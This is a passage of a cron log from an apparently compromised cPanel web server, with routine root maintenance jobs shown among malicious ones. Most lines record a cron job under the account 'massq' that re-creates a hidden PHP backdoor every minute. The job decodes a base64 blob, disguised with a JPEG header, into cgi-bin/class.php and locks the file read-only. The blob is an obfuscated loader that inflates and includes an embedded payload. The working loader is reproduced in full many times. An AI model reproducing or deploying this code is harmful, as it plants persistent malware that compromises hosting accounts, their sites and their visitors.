1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:50:01 server CROND[16811]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 08:51:01 server CROND[16928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:52:01 server CROND[17099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:53:01 server CROND[17181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:54:01 server CROND[17247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:55:01 server CROND[17305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:55:01 server CROND[17306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 08:55:01 server CROND[17307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 08:56:01 server CROND[17440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:57:01 server CROND[17547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:57:01 server CROND[17548]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 08:58:01 server CROND[17673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 08:59:01 server CROND[17731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:00:01 server CROND[17798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 09:00:01 server CROND[17799]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Apr  7 09:00:01 server CROND[17800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 09:00:01 server CROND[17802]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 09:00:01 server CROND[17801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:01:01 server CROND[17954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:01:01 server CROND[17955]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 09:01:01 server run-parts(/etc/cron.hourly)[17955]: starting 0anacron
Apr  7 09:01:01 server run-parts(/etc/cron.hourly)[17967]: finished 0anacron
Apr  7 09:02:01 server CROND[18041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:03:01 server CROND[18218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 09:04:01 server CROND[18297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 